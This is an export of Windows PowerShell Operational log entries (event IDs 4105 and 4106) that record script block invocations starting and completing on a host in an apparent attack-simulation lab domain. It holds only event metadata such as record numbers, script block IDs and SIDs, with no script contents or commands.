OpCode=On create calls
RecordNumber=2025850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025844
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025843
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025831
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025811
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025809
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025808
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
